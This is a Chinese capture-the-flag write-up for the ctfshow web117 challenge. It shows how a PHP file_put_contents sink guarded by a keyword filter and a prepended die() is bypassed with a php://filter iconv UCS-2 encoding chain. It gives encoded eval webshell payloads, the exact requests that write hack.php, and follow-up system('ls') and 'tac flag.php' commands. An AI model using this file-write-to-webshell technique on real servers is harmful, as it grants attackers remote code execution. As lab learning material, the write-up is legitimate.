web117笔记(过滤了base64等-iconv编码绕过)
<?php /* # -*- coding: utf-8 -*- # @Author: yu22x # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-01 18:16:59 */ highlight_file(__FILE__); error_reporting(0); function filter($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); } } $file=$_GET['file']; $contents=$_POST['contents']; filter($file); file_put_contents($file, "<?php die();?>".$contents);
base64和rot13被ban掉了,依旧是使用filter,还有iconv 可以尝试
在linux 里面使用iconv对payload进行编码
先使用linux来对payload编码
iconv -f ucs-2le -t ucs-2be 1.txt
// 输出:?<hp pvela$(P_SO[Ta']';)?>
// 1.txt 里面是 <?php eval($_POST['a']); ?>
再构造filter
?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php
对数据进行编码解码,原本的<?php die();?> 就会乱码,从而绕过(与base64绕过类似)
提交数据包(POST型)
GET /?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php
POST contents=?<hp pvela$(P_SO[Ta']';)?>

提交后访问1.php,之后常规操作
GET型
把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码:
<?php
$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');
echo $re;
?>
运行得到: ?<hp pe@av(l_$EG[T]1;)>?
post 传入: contents=?<hp pe@av(l_$EG[T]1;)>?
payload: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php

之后调用 hack.php: /hack.php?1=system('ls');
读取 flag: /hack.php?1=system('tac flag.php');

浙公网安备 33010602011771号